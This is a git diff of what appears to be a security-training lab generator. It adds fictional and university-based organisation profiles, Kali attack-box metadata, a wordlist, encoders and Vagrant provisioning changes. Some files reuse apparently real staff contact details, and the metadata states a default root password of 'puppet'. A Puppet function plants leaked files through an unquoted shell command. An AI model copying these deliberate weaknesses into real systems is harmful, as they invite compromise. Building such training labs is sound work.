"M.Calvert@leedsbeckett.ac.uk", + "username": "mcalvert", + "password": "" + }, + { + "name": "Dr. John Elliott", + "address": "108, Caedmon, Headingley Campus", + "phone_number": "0113 81 27379", + "email_address": "J.Elliott@leedsbeckett.ac.uk", + "username": "jelliott", + "password": "" + } + ], + "product_name": "University Education", + "intro_paragraph": [ + "Computer forensics involves the analysis of digital devices such as hard drives to identify and investigate their contents. Computer security involves using knowledge of computer systems and networks to protect businesses and users from malicious attacks.", + "This course combines these two fields of national importance and will teach you practical investigative and 'hacking' techniques. You will develop the skills to undertake rigorous forensic analysis and implement robust security mechanisms.", + "This is a hands-on course where you will learn through doing, gaining an in-depth knowledge of how to hack a computer to be able to protect it. You will learn where a computer hides data and how to recover information from a device." + ] +} \ No newline at end of file diff --git a/lib/resources/structured_content/organisations/lbu_law.json b/lib/resources/structured_content/organisations/lbu_law.json new file mode 100644 index 000000000..6584f7769 --- /dev/null +++ b/lib/resources/structured_content/organisations/lbu_law.json @@ -0,0 +1,48 @@ +{ + "business_name": "Leeds Beckett- Leeds Law School", + "business_motto": "", + "business_address": "City Campus, Leeds LS1 3HE", + "domain": "leedsbeckett.ac.uk", + "office_telephone": "0113 81 23000", + "office_email": "study@leedsbeckett.ac.uk", + "industry": "Higher Education", + "manager": { + "name": "Deveral Capps", + "address": "306, Portland Building, City Campus", + "phone_number": "0113 81 26085", + "email_address": "d.capps@leedsbeckett.ac.uk", + "username": "d_capps", + "password": "" + }, + "employees": [ + { + "name": "Dr. Simon Hale-Ross", + "address": "306, Portland Building, City Campus", + "phone_number": "0113 8129526", + "email_address": "S.Haleross@leedsbeckett.ac.uk", + "username": "s_haleross", + "password": "" + }, + { + "name": "Professor Simon Gardiner", + "address": "204, Rose Bowl, City Campus", + "phone_number": "0113 81 26414", + "email_address": "S.Gardiner@leedsbeckett.ac.uk", + "username": "s_gardiner", + "password": "" + }, + { + "name": "Dr. Jessica Guth", + "address": "306, Portland Building, City Campus", + "phone_number": "0113 81 26403", + "email_address": "J.Guth@leedsbeckett.ac.uk", + "username": "j_guth", + "password": "" + } + ], + "product_name": "University Education", + "intro_paragraph": [ + "Our Law School sits in the heart of the great city of Leeds, the most important legal centre outside London and home to over 180 law firms employing in excess of 8,000 professionals. It is perfectly placed to ensure all our undergraduate, postgraduate, full and part-time students are able to mine the wealth of practical experience and employment opportunities available on our doorstep.", + "With state-of-the-art facilities, mentoring and career development opportunities, placements and a courtroom, students who choose Leeds Law School can expect a successful career founded on high calibre, practical teaching. We offer a broad variety of courses including our LLB, LLM Legal Practice (incorporating the LPC), LLM Qualifying Law Degree (incorporating the GDL) and LLM International Business Law, and each aims to give our graduates the enthusiasm, sharpness of mind and practical tools to thrive in competitive and fast-paced professional environments." + ] +} \ No newline at end of file diff --git a/lib/resources/structured_content/organisations/lbu_music.json b/lib/resources/structured_content/organisations/lbu_music.json new file mode 100644 index 000000000..093247038 --- /dev/null +++ b/lib/resources/structured_content/organisations/lbu_music.json @@ -0,0 +1,47 @@ +{ + "business_name": "Leeds Beckett- Music and Performing Arts", + "business_motto": "", + "business_address": "43 Church Wood Ave, Leeds LS16 5LF", + "domain": "leedsbeckett.ac.uk", + "office_telephone": "0113 81 23000", + "office_email": "study@leedsbeckett.ac.uk", + "industry": "Higher Education", + "manager": { + "name": "Dr Richard Stevens", + "address": "209, Caedmon, Headingley Campus", + "phone_number": "0113 81 23690", + "email_address": "R.C.Stevens@leedsbeckett.ac.uk", + "username": "r_stevens", + "password": "" + }, + "employees": [ + { + "name": "Dr. Laura Griffiths", + "address": "Reception, Priestley Hall, Headingley Campus", + "phone_number": "n/a", + "email_address": "Laura.Griffiths@leedsbeckett.ac.uk", + "username": "l_griffiths", + "password": "" + }, + { + "name": "Carl Flattery", + "address": "104, Caedmon, Headingley Campus", + "phone_number": "0113 81 27372", + "email_address": "C.Flattery@leedsbeckett.ac.uk", + "username": "c_flattery", + "password": "" + }, + { + "name": "Sam Nicholls", + "address": "212, Caedmon, Headingley Campus", + "phone_number": "0113 81 23726", + "email_address": "S.Nicholls@leedsbeckett.ac.uk", + "username": "s_nicholls", + "password": "" + } + ], + "product_name": "University Education", + "intro_paragraph": [ + "The School of Film, Music & Performing Arts fosters a culture of creation and participation. We are proud shapers of, and contributors to, the cultural life of this great Northern city – a city that is the original birthplace of film. We nurture the arts pioneers of the future: influencers who will not just reflect the outside world, but impact upon it." + ] +} \ No newline at end of file diff --git a/lib/resources/structured_content/organisations/medical.json b/lib/resources/structured_content/organisations/medical.json new file mode 100644 index 000000000..cf6f42d38 --- /dev/null +++ b/lib/resources/structured_content/organisations/medical.json @@ -0,0 +1,48 @@ +{ + "business_name": "Yorkshire Personal Health", + "business_motto": "We'll have you as good as new in no time.", + "business_address": "159 Longlands St, Bradford BD1 2PX", + "domain": "yorkspersonalhealth.co.uk", + "office_telephone": "01274 200700", + "office_email": "info@yorkspersonalhealth.co.uk", + "industry": "Medical Services", + "manager": { + "name": "Angela Dickinson", + "address": "76103 Joshuah Path, Port Magali, Cambridgeshire, R1 1TR", + "phone_number": "01274 200700 ext 100", + "email_address": "a.dickinson@yorkspersonalhealth.co.uk", + "username": "dickinson_a", + "password": "" + }, + "employees": [ + { + "name": "Abdullah Carroll", + "address": "Office A, 160 Longlands St, Bradford BD1 2PX", + "phone_number": "01274 200700 ext 101", + "email_address": "a.carroll@yorkspersonalhealth.co.uk", + "username": "carroll_a", + "password": "" + }, + { + "name": "Annie Williamson", + "address": "Office B, 160 Longlands St, Bradford BD1 2PX", + "phone_number": "01274 200700 ext 103", + "email_address": "a.williamson@yorkspersonalhealth.co.uk", + "username": "williamson_a", + "password": "" + }, + { + "name": "Jammie Marks", + "address": "Office B, 160 Longlands St, Bradford BD1 2PX", + "phone_number": "01274 200700 ext 110", + "email_address": "j.marks@yorkspersonalhealth.co.uk", + "username": "marks_j", + "password": "" + } + ], + "product_name": "Check up", + "intro_paragraph": [ + "A health assessment is more than a check up. It can be the start of a journey towards better health.", + "We use our health expertise to build a clear picture of where your current health is and identify potential future health risks. After your health assessment, we’ll give you guidance and support to help you become healthier today and in the future." + ] +} \ No newline at end of file diff --git a/lib/resources/structured_content/organisations/organisation.json b/lib/resources/structured_content/organisations/organisation.json new file mode 100644 index 000000000..868dc6b04 --- /dev/null +++ b/lib/resources/structured_content/organisations/organisation.json @@ -0,0 +1,47 @@ +{ + "business_name": "", + "business_motto": "", + "business_address": "", + "domain": "", + "office_telephone": "", + "office_email": "", + "industry": "", + "manager": { + "name": "", + "address": "", + "phone_number": "", + "email_address": "", + "username": "", + "password": "" + }, + "employees": [ + { + "name": "", + "address": "", + "phone_number": "", + "email_address": "", + "username": "", + "password": "" + }, + { + "name": "", + "address": "", + "phone_number": "", + "email_address": "", + "username": "", + "password": "" + }, + { + "name": "", + "address": "", + "phone_number": "", + "email_address": "", + "username": "", + "password": "" + } + ], + "product_name": "", + "intro_paragraph": [ + "" + ] +} \ No newline at end of file diff --git a/lib/resources/structured_content/organisations/pizza_shop.json b/lib/resources/structured_content/organisations/pizza_shop.json new file mode 100644 index 000000000..fcc3f49b6 --- /dev/null +++ b/lib/resources/structured_content/organisations/pizza_shop.json @@ -0,0 +1,48 @@ +{ + "business_name": "Speedy Pizzas", + "business_motto": "Pizza done quick.", + "business_address": "195 Headingley Lane, Headingley, Leeds, LS6 1BN", + "domain": "speedypizzas.co.uk", + "office_telephone": "0113 123 3214", + "office_email": "info@speedypizzas.co.uk", + "industry": "Food", + "manager": { + "name": "David Sand", + "address": "195 Headingley Lane, Headingley, Leeds, LS6 1BN", + "phone_number": "07879 635412", + "email_address": "dave@speedypizzas.co.uk", + "username": "d_sand", + "password": "" + }, + "employees": [ + { + "name": "Cydney Hermann", + "address": "195 Headingley Lane, Headingley, Leeds, LS6 1BN", + "phone_number": "0113 123 3214", + "email_address": "cydney@speedypizzas.co.uk", + "username": "c_hermann", + "password": "" + }, + { + "name": "Lori Marshall", + "address": "195 Headingley Lane, Headingley, Leeds, LS6 1BN", + "phone_number": "0113 123 3214", + "email_address": "lori@speedypizzas.co.uk", + "username": "l_marshall", + "password": "" + }, + { + "name": "Andrea Martinez", + "address": "195 Headingley Lane, Headingley, Leeds, LS6 1BN", + "phone_number": "0113 123 3214", + "email_address": "andrea@speedypizzas.co.uk", + "username": "a_martinez", + "password": "" + } + ], + "product_name": "Pizza", + "intro_paragraph": [ + "Welcome to speedy pizzas. Piping hot food either in store or delivered to your door. Pizza takeaway, parmesan, kebabs and much more.", + "We are based in the centre of Headingley on Headingley lane and will deliver up to 3 miles for free, £1 per additional mile. Red hot pizza on delivery or your money back." + ] +} \ No newline at end of file diff --git a/lib/resources/wordlists/mythical_creatures b/lib/resources/wordlists/mythical_creatures new file mode 100644 index 000000000..812e9f174 --- /dev/null +++ b/lib/resources/wordlists/mythical_creatures @@ -0,0 +1,336 @@ +dropbear +abaia +abath +adze +aethoneagle +afanc +ahool +akkorokamui +ala +alectryon +alkonost +allocamelus +amalthea +ammut +anansi +anemoi +angel +arachne +ariel +aries +arion +automaton +azeban +baku +balrog +barefrontedhoodwink +basilisk +bast +behemoth +bennu +berserker +bigfoot +bugbear +bunyip +buraq +caladrius +callisto +camazotz +capricornus +centaur +cetan +chamrosh +chimera +chiron +cinnamonbird +cipactli +devil +devilbird +djinn +dragon +drake +dwarf +echidna +elf +emela-ntouka +encantado +ent +familiar +faun +fionnuala +firebird +gandaberunda +gargoyle +gef +giant +giantpenguin +gilledantelope +goblin +grootslang +gunni +haizum +harpy +heqet +hibagon +hobbit +horus +huitzilopochtli +huorn +hydra +ichneumon +ichthyocentaurs +inugami +ipotane +isonade +kamaitachi +karkadann +kasairex +khepri +khnum +kongamato +kraken +kujata +kun +kurma +lamia +lavellan +lindorm +longma +makara +mapinguari +mermaid +merman +minokawa +minotaur +mothman +mujina +naga +namazu +nandibear +nandibull +nekomata +ngoubou +ningyo +nuckelavee +nue +olitiau +onocentaur +oozlumbird +orc +ouroboros +owlman +pabilsag +panther +peluda +peryton +phantomkangaroo +pooka +python +qareen +qilin +qiqirn +qliphoth +quinotaur +ra +rabisu +radande +ragana +rakshasa +redcap +reichsadler +rephaite +revenant +riva +rokurokubi +rompo +rougarou +rusalka +saci +sacipererê +sagari +sakabashira +samebito +samodiva +sampaati +sandman +sandwalker +santelmo +sânziană +sarngika +sarugami +satori +satyrus +sceadugenga +scitalis +scylla +sekhmet +seko +selket +seps +serpent +serpopard +shabti +shachihoko +shade +shedim +shellycoat +shenlong +shibaten +shikigami +shikome +shinigami +shirouneri +shisa +shishi +shtriga +shunoban +sigbin +sileni +simargl +singa +sirrush +sisiutl +skookum +skrzak +skvader +slenderman +sluagh +sobek +soragami +soucouyant +spearfinger +spectre +spiriduş +spriggan +sprite +squonk +strigoi +struthopodes +strzyga +suangi +succubus +sudice +sunekosuri +surma +suzaku +sylvan +syrbotae +tachash +taimatsumaru +takam +tangie +tantankororin +tanuki +taotie +tapairu +tartalo +tartaruchi +tatsu +taurokampoi +tavara +taweret +tecumbalam +tennin +tepegoz +theriocephalus +thoth +tiangou +tianlong +tibicena +tigmamanukan +tigris +tikoloshe +timingila +tipua +titan +tiyanak +tizheruk +tlahuelpuchi +tokeloshe +tomte +topielec +toyol +trasgo +trauco +trenti +tripurasura +tritons +trow +tsuchigumo +turehu +turul +typhon +ubume +uchchaihshravas +undead +undine +unhcegila +unktehi +unktehila +upinis +urayuli +urmahlullu +ushioni +utukku +uwan +valkyrie +valravn +varaha +vedrfolnir +veļi +veo +vetala +vielfras +vila +vilkacis +vodyanoy +vrykolakas +vulkodlak +waldgeist +wani +wekufe +wendigo +werecat +whitestag +wirrycow +wolpertinger +wondjina +wraith +wulver +wyrm +xana +xelhua +yacumama +yacuruna +yaksha +yakshi +yakshini +yale +yali +yallerybrown +yalungur +yanari +yaoguai +yatagarasu +yeren +yethhound +yobuko +yong +yosuzume +ypotryll +yukinko +yuxa +zahhak +zamzummim +zaratan +zburator +zeus +zhulong +zin +zlatorog +zmeu +zmiy +zombie +zorigami +zu +zuijin \ No newline at end of file diff --git a/lib/schemas/base_metadata_schema.xsd b/lib/schemas/base_metadata_schema.xsd index fc6f858ff..7eddfa286 100644 --- a/lib/schemas/base_metadata_schema.xsd +++ b/lib/schemas/base_metadata_schema.xsd @@ -41,6 +41,7 @@ + @@ -49,6 +50,7 @@ + @@ -57,7 +59,6 @@ - diff --git a/lib/schemas/generator_metadata_schema.xsd b/lib/schemas/generator_metadata_schema.xsd index 2e546e8c1..31f29617d 100644 --- a/lib/schemas/generator_metadata_schema.xsd +++ b/lib/schemas/generator_metadata_schema.xsd @@ -23,6 +23,7 @@ + diff --git a/lib/schemas/scenario_schema.xsd b/lib/schemas/scenario_schema.xsd index 25291a7bd..2dcf001b3 100644 --- a/lib/schemas/scenario_schema.xsd +++ b/lib/schemas/scenario_schema.xsd @@ -126,6 +126,9 @@ + + + diff --git a/lib/schemas/utility_metadata_schema.xsd b/lib/schemas/utility_metadata_schema.xsd index d454c627b..4f1b067c3 100644 --- a/lib/schemas/utility_metadata_schema.xsd +++ b/lib/schemas/utility_metadata_schema.xsd @@ -23,6 +23,7 @@ + diff --git a/lib/templates/Vagrantfile.erb b/lib/templates/Vagrantfile.erb index 87191b104..96a1d884d 100644 --- a/lib/templates/Vagrantfile.erb +++ b/lib/templates/Vagrantfile.erb @@ -5,8 +5,11 @@ # <%= @time %> # Based on <%= @scenario %> <% require 'json' - require 'base64' -%> -<% prefix = @options[:prefix] ? @options[:prefix] + '_' : ''-%> + require 'base64' + require 'securerandom' -%> +<% scenario_name = @scenario.split('/').last.split('.').first + '-' + prefix = @options[:prefix] ? (@options[:prefix] + '-' + scenario_name) : ('SecGen-' + scenario_name) -%> + VAGRANTFILE_API_VERSION = "2" Vagrant.configure(VAGRANTFILE_API_VERSION) do |config| @@ -14,6 +17,7 @@ Vagrant.configure(VAGRANTFILE_API_VERSION) do |config| <% system.module_selections.each do |selected_module| if selected_module.module_type == 'base' @base_type = selected_module.attributes['type'] + @ovirt_template = selected_module.attributes['ovirt_template'] @cpu_word_size = selected_module.attributes['cpu_word_size'].first.downcase if (@options.has_key? :ovirtuser) && (@options.has_key? :ovirtpass) @ovirt_base_template = selected_module.attributes['ovirt_template'].first @@ -48,7 +52,7 @@ Vagrant.configure(VAGRANTFILE_API_VERSION) do |config| <%= if @options.has_key? :cpu_cores " ovirt.cpu_cores = #{@options[:cpu_cores]}\n" end -%> - ovirt.console = 'vnc' + ovirt.console = 'spice' ovirt.insecure = true ovirt.filtered_api = true ovirt.debug = true @@ -90,6 +94,12 @@ Vagrant.configure(VAGRANTFILE_API_VERSION) do |config| end -%> end <% end %> + <% # Adds line that stops cloud-init from attempting to grab meta-data as eth0 is overwritten with provided networks. + # TODO: Remove when mutli-network vagrant-plugin issue is resolved + if (@options.has_key? :ovirtuser) && (@options.has_key? :ovirtpass) -%> + <%= system.name %>.vm.provision 'shell', inline: "echo 'datasource_list: [ None ] '> /etc/cloud/cloud.cfg.d/90_dpkg.cfg" + <% end -%> + # SecGen datastore # <%= JSON.generate($datastore) %> @@ -97,10 +107,15 @@ Vagrant.configure(VAGRANTFILE_API_VERSION) do |config| <% system.module_selections.each do |selected_module| -%> <%= selected_module.to_s_comment -%> +<% if selected_module.module_type == 'network' and selected_module.received_inputs.include? 'IP_address' %> +<%= ' # This module has a datastore entry for IP_address, using that instead of the default.' -%> +<% elsif selected_module.module_type == 'network' and @options.has_key? :ip_ranges -%> +<%= ' # This module has a command line ip_range, using that instead of the default.' -%> +<% end -%> <% case selected_module.module_type when 'base' -%> <% if (@options.has_key? :ovirtuser) && (@options.has_key? :ovirtpass) %> # TODO - <%= system.name %>.vm.hostname = '<%= "#{prefix}SecGen-#{system.name}-#{Time.new.strftime("%Y%m%d-%H%M")}".tr('_', '-') %>' + <%= system.name %>.vm.hostname = '<%= "#{prefix}#{system.name}".tr('_', '-') %>' <%= system.name %>.vm.box = 'ovirt4' <%= system.name %>.vm.box_url = 'https://github.com/myoung34/vagrant-ovirt4/blob/master/example_box/dummy.box?raw=true' <% else %> @@ -114,17 +129,25 @@ Vagrant.configure(VAGRANTFILE_API_VERSION) do |config| <%= system.name %>.vm.network :forwarded_port, guest: 5985, host: 5985, id: "winrm", auto_correct: true <% end %> <% when 'network' -%> -<% if selected_module.attributes['range'].first.nil? || selected_module.attributes['range'].first == "dhcp" -%> +<% if (selected_module.attributes['range'].first.nil? || selected_module.attributes['range'].first == "dhcp") and (!selected_module.received_inputs.include? 'IP_address' and !@options[:ip_ranges])-%> <% if (@options.has_key? :ovirtnetwork) && (@options.has_key? :ovirtuser) && (@options.has_key? :ovirtpass) %> <%= system.name %>.vm.network :<%= selected_module.attributes['type'].first %>, type: "dhcp", :ovirt__network_name => '<%= "#{@options[:ovirtnetwork]}" %>' <% else %> - <%= system.name %>.vm.network :<%= selected_module.attributes['type'].first %>, type: "dhcp" + <%= system.name %>.vm.network :<%= selected_module.attributes['type'].first %>, type: "dhcp", auto_config: false <% end %> <% else -%> <% if (@options.has_key? :ovirtuser) && (@options.has_key? :ovirtpass) %> - <%= system.name %>.vm.network :<%= selected_module.attributes['type'].first %>, :ovirt__ip => "<%= resolve_network(selected_module.attributes['range'].first)%>", :ovirt__network_name => '<%= "#{@options[:ovirtnetwork]}" %>' + <% if @ovirt_template and @ovirt_template.include? 'kali_linux_msf' %> + <%= system.name %>.vm.provision 'shell', inline: "echo \"auto lo\niface lo inet loopback\n\nauto eth0\niface eth0 inet static\n\taddress <%= resolve_network(selected_module)%>\" > /etc/network/interfaces" + <%= system.name %>.vm.provision 'shell', inline: "echo '' > /etc/environment" + <% elsif @ovirt_template and @ovirt_template.include? 'debian_desktop_kde' %> + <%= system.name %>.vm.provision 'shell', inline: "echo \"\nauto eth1\niface eth1 inet static\n\taddress <%= resolve_network(selected_module)%>\" >> /etc/network/interfaces" + <%= system.name %>.vm.provision 'shell', inline: "echo '' > /etc/environment" + <% else %> + <%= system.name %>.vm.network :<%= selected_module.attributes['type'].first %>, :ovirt__ip => "<%= resolve_network(selected_module)%>", :ovirt__network_name => '<%= "#{@options[:ovirtnetwork]}" %>' + <% end %> <% else %> - <%= system.name %>.vm.network :<%= selected_module.attributes['type'].first %>, ip: "<%= resolve_network(selected_module.attributes['range'].first)%>" + <%= system.name %>.vm.network :<%= selected_module.attributes['type'].first %>, ip: "<%= resolve_network(selected_module)%>" <% end %> <% end -%> <% when 'vulnerability', 'service', 'utility', 'build' -%> @@ -132,9 +155,18 @@ Vagrant.configure(VAGRANTFILE_API_VERSION) do |config| <%= system.name %>.vm.provision "puppet" do | <%=module_name%> | <% # if there are facter variables to define if selected_module.received_inputs != {} -%> - <% json_inputs = JSON.generate(selected_module.received_inputs) -%> + <% json_inputs = JSON.generate(selected_module.received_inputs) + b64_json_inputs = Base64.strict_encode64(json_inputs) + # save the inputs in a randomly named file in the + # project out directory of the secgen_functions module + rand = SecureRandom.hex().to_s + dir = "#{@out_dir}/puppet/#{system.name}/modules/secgen_functions/files/json_inputs" + FileUtils.mkdir_p(dir) unless File.exists?(dir) + Print.verbose "Writing #{selected_module.module_path_name} input to: #{dir}/#{rand}" + File.write("#{dir}/#{rand}", b64_json_inputs) + -%> <%= module_name%>.facter = { - "base64_inputs" => '<%= Base64.strict_encode64(json_inputs)%>' + "base64_inputs_file" => '<%= rand %>', } <% end -%> <%=module_name%>.module_path = "<%="puppet/#{system.name}/modules"%>" diff --git a/modules/bases/debian_puppet_32/secgen_metadata.xml b/modules/bases/debian_puppet_32/secgen_metadata.xml index 4eab05603..171d99ba9 100644 --- a/modules/bases/debian_puppet_32/secgen_metadata.xml +++ b/modules/bases/debian_puppet_32/secgen_metadata.xml @@ -3,11 +3,11 @@ - Debian 32bit with Puppet + Debian 7 Wheezy Server Z. Cliffe Schreuders GPLv3 Based on the Official Puppet Vagrant box. Debian 7.8 (wheezy) 32-bit (i386), Puppet 4.3.2 / Puppet Enterprise 2015.3.2 (agent). - This is the primary base box used during development. + This is the primary base box used during development. For testing purposes, the default root password is puppet. 32-bit server cli @@ -15,11 +15,9 @@ linux unix Debian 7.8 (wheezy) 32-bit (i386) - http://atlas.hashicorp.com/puppetlabs/boxes/debian-7.8-32-puppet/versions/1.0.4/providers/virtualbox.box + https://app.vagrantup.com/secgen/boxes/debian_wheezy_puppet/versions/1.0.0/providers/virtualbox.box + debian_server https://atlas.hashicorp.com/puppetlabs various - - debian_server - - \ No newline at end of file + diff --git a/modules/bases/debian_wheezy_desktop_kde/secgen_metadata.xml b/modules/bases/debian_wheezy_desktop_kde/secgen_metadata.xml new file mode 100644 index 000000000..a73992247 --- /dev/null +++ b/modules/bases/debian_wheezy_desktop_kde/secgen_metadata.xml @@ -0,0 +1,24 @@ + + + + Debian 7 Wheezy Desktop KDE + Z. Cliffe Schreuders + GPLv3 + Based on the Official Puppet Vagrant box. Debian 7.8 (wheezy) 32-bit (i386), Puppet 4.3.2 / Puppet Enterprise 2015.3.2 (agent). + Plus KDE and some useful tools. + For testing purposes, the default root password is puppet. + 32-bit + desktop + + linux + unix + Debian 7.8 (wheezy) 32-bit (i386) + https://app.vagrantup.com/secgen/boxes/debian_wheezy_kde_puppet/versions/1.0.0/providers/virtualbox.box + debian_desktop_kde + + https://atlas.hashicorp.com/puppetlabs + various + + diff --git a/modules/bases/kali_light/secgen_metadata.xml b/modules/bases/kali_light/secgen_metadata.xml new file mode 100644 index 000000000..e08873fbe --- /dev/null +++ b/modules/bases/kali_light/secgen_metadata.xml @@ -0,0 +1,22 @@ + + + + Kali Light, XFCE and Puppet + Z. Cliffe Schreuders + GPLv3 + Kali Light 2017.1 XFCE minimal install, with puppet. + 64-bit + attack + desktop + + linux + unix + Kali Linux 2017.1 + https://app.vagrantup.com/cliffe/boxes/kali-light/versions/1.0.0/providers/virtualbox.box + + https://app.vagrantup.com/cliffe + various + + diff --git a/modules/bases/kali_light_msf/secgen_metadata.xml b/modules/bases/kali_light_msf/secgen_metadata.xml new file mode 100644 index 000000000..e1f081247 --- /dev/null +++ b/modules/bases/kali_light_msf/secgen_metadata.xml @@ -0,0 +1,23 @@ + + + + Kali Light, MSF, XFCE and Puppet + Z. Cliffe Schreuders + GPLv3 + Kali Light 2017.1 XFCE minimal install, with metasploit framework and puppet. + 64-bit + attack + desktop + + linux + unix + Kali Linux 2017.1 + https://app.vagrantup.com/secgen/boxes/kali_lite_msf_puppet/versions/1.0.1/providers/virtualbox.box + kali_linux_msf + + https://app.vagrantup.com/cliffe + various + + diff --git a/modules/build/puppet/secgen_functions/functions/get_parameters.pp b/modules/build/puppet/secgen_functions/functions/get_parameters.pp new file mode 100644 index 000000000..87cdffb83 --- /dev/null +++ b/modules/build/puppet/secgen_functions/functions/get_parameters.pp @@ -0,0 +1,6 @@ +function secgen_functions::get_parameters($base64_inputs_file) { + $b64_inputs = file("secgen_functions/json_inputs/$base64_inputs_file") + $json_inputs = base64('decode', $b64_inputs) + $secgen_parameters = parsejson($json_inputs) + $secgen_parameters +} diff --git a/modules/build/puppet/secgen_functions/manifests/leak_file.pp b/modules/build/puppet/secgen_functions/manifests/leak_file.pp index 082d36a87..4ada0a1f3 100644 --- a/modules/build/puppet/secgen_functions/manifests/leak_file.pp +++ b/modules/build/puppet/secgen_functions/manifests/leak_file.pp @@ -2,6 +2,13 @@ define secgen_functions::leak_file($leaked_filename, $storage_directory, $string if ($leaked_filename != ''){ $path_to_leak = "$storage_directory/$leaked_filename" + # create the directory tree, incase the file name has extra layers of directories + exec { "$leaked_from-$path_to_leak": + path => ['/bin', '/usr/bin', '/usr/local/bin', '/sbin', '/usr/sbin'], + command => "mkdir -p `dirname $path_to_leak`;chown $owner. `dirname $path_to_leak`", + provider => shell, + } + # If the file already exists append to it, otherwise create it. if (defined(File[$path_to_leak])){ notice("File with that name already defined, appending leaked strings instead...") diff --git a/modules/build/puppet/secgen_functions/secgen_metadata.xml b/modules/build/puppet/secgen_functions/secgen_metadata.xml index 9f3111b16..1095396e6 100644 --- a/modules/build/puppet/secgen_functions/secgen_metadata.xml +++ b/modules/build/puppet/secgen_functions/secgen_metadata.xml @@ -6,7 +6,7 @@ SecGen Puppet Functions Thomas Shaw MIT - SecGen functions module encapuslates commonly used functions within secgen (e.g. leaking files, + SecGen functions module encapsulates commonly used functions within secgen (e.g. leaking files, overshare, flags etc.) into puppet resource statements. diff --git a/modules/build/unix/cleanup/manifests/init.pp b/modules/build/unix/cleanup/manifests/init.pp index 3e447e37f..88db45efd 100644 --- a/modules/build/unix/cleanup/manifests/init.pp +++ b/modules/build/unix/cleanup/manifests/init.pp @@ -1,6 +1,5 @@ class cleanup::init { - $json_inputs = base64('decode', $::base64_inputs) - $secgen_params = parsejson($json_inputs) + $secgen_params = secgen_functions::get_parameters($::base64_inputs_file) $remove_history = str2bool($secgen_params['remove_history'][0]) $root_password = $secgen_params['root_password'][0] $clobber_file_times = str2bool($secgen_params['clobber_file_times'][0]) diff --git a/modules/encoders/csv/inputs_to_csv/inputs_to_csv.pp b/modules/encoders/csv/inputs_to_csv/inputs_to_csv.pp new file mode 100644 index 000000000..e69de29bb diff --git a/modules/encoders/csv/inputs_to_csv/manifests/.no_puppet b/modules/encoders/csv/inputs_to_csv/manifests/.no_puppet new file mode 100644 index 000000000..e69de29bb diff --git a/modules/encoders/csv/inputs_to_csv/secgen_local/local.rb b/modules/encoders/csv/inputs_to_csv/secgen_local/local.rb new file mode 100644 index 000000000..06cc40325 --- /dev/null +++ b/modules/encoders/csv/inputs_to_csv/secgen_local/local.rb @@ -0,0 +1,35 @@ +#!/usr/bin/ruby +require 'base64' +require_relative '../../../../../lib/objects/local_string_encoder.rb' +class CSVEncoder < StringEncoder + def initialize + super + self.module_name = 'CSV Encoder' + end + + def encode_all() + require 'csv' + require 'json' + + csv_string = CSV.generate do |csv| + strings_to_encode.each do |string_to_encode, count| + row = [] + header = [] + JSON.parse(string_to_encode).each do |hash| + header << hash[0] + row << hash[1] + end + if count == 0 + csv << header + end + csv << row + + end + + end + + self.outputs << csv_string + end +end + +CSVEncoder.new.run diff --git a/modules/encoders/csv/inputs_to_csv/secgen_metadata.xml b/modules/encoders/csv/inputs_to_csv/secgen_metadata.xml new file mode 100644 index 000000000..41ca1c406 --- /dev/null +++ b/modules/encoders/csv/inputs_to_csv/secgen_metadata.xml @@ -0,0 +1,19 @@ + + + + CSV Encoder + Z. Cliffe Schreuders + MIT + Converts all of the inputs into a single CSV output. Accepts one layer of JSON hashes. For example, outputs from person generator. + + csv + linux + windows + + strings_to_encode + + csv + + \ No newline at end of file diff --git a/modules/encoders/selector/random_line_selector/manifests/.no_puppet b/modules/encoders/selector/random_line_selector/manifests/.no_puppet new file mode 100644 index 000000000..e69de29bb diff --git a/modules/encoders/selector/random_line_selector/random_line_selector.pp b/modules/encoders/selector/random_line_selector/random_line_selector.pp new file mode 100644 index 000000000..e69de29bb diff --git a/modules/encoders/selector/random_line_selector/secgen_local/local.rb b/modules/encoders/selector/random_line_selector/secgen_local/local.rb new file mode 100644 index 000000000..044c7ac64 --- /dev/null +++ b/modules/encoders/selector/random_line_selector/secgen_local/local.rb @@ -0,0 +1,61 @@ +#!/usr/bin/ruby +require_relative '../../../../../lib/objects/local_string_encoder.rb' +class RandomSelectorEncoder < StringEncoder + attr_accessor :position + attr_accessor :file_path + + def initialize + super + self.module_name = 'Random Line Selector' + self.file_path = '' + self.position = '' + end + + # @return [Array[string]] containing selected string from file + def encode_all + selected_string = '' + + unless file_path.include? '..' + path = "#{ROOT_DIR}/#{file_path}" + + file_lines = File.readlines(path) + + selected_string = if !position.nil? && (position != '') + file_lines[position.to_i - 1] + else + file_lines.sample + end + end + + outputs << selected_string.chomp + end + + def process_options(opt, arg) + super + case opt + # Removes any non-alphabet characters + when '--position' + position << arg + when '--file_path' + file_path << arg + else + # do nothing + end + end + + def get_options_array + super + [['--position', GetoptLong::OPTIONAL_ARGUMENT], + ['--file_path', GetoptLong::OPTIONAL_ARGUMENT]] + end + + def encoding_print_string + string = "file_path: #{file_path}" + unless position.to_s.empty? + string += print_string_padding + "position: #{position}" + end + string + end + +end + +RandomSelectorEncoder.new.run diff --git a/modules/encoders/selector/random_line_selector/secgen_metadata.xml b/modules/encoders/selector/random_line_selector/secgen_metadata.xml new file mode 100644 index 000000000..3c85f1e9b --- /dev/null +++ b/modules/encoders/selector/random_line_selector/secgen_metadata.xml @@ -0,0 +1,21 @@ + + + + Random Line Selector + Thomas Shaw + MIT + Randomly selects one of the lines from a file and discards the rest. + Optionally pick position in a list (indexed from 1 - in the list [a,b,c] a is in pos 1, b is in pos 2, etc.) + + + line_selector + linux + windows + + file_path + position + + selected_string + diff --git a/modules/generators/content/address_uk/secgen_metadata.xml b/modules/generators/content/address_uk/secgen_metadata.xml index 972b12d85..c7ea8647b 100644 --- a/modules/generators/content/address_uk/secgen_metadata.xml +++ b/modules/generators/content/address_uk/secgen_metadata.xml @@ -10,6 +10,7 @@ string_generator address_generator + address_generator_uk address local_calculation linux diff --git a/modules/generators/content/credit_card/secgen_metadata.xml b/modules/generators/content/credit_card/secgen_metadata.xml index 0e4e1fcdb..c25e3bff5 100644 --- a/modules/generators/content/credit_card/secgen_metadata.xml +++ b/modules/generators/content/credit_card/secgen_metadata.xml @@ -3,12 +3,13 @@ - Industry Generator + Credit Card Number Generator Thomas Shaw MIT - Industry generator using the Forgery ruby gem. + Credit Card Number Generator generator using the Credy ruby gem. - credit_card + credit_card_generator + personal_sensitive local_calculation linux windows diff --git a/modules/generators/content/national_insurance_number/manifests/.no_puppet b/modules/generators/content/national_insurance_number/manifests/.no_puppet new file mode 100644 index 000000000..e69de29bb diff --git 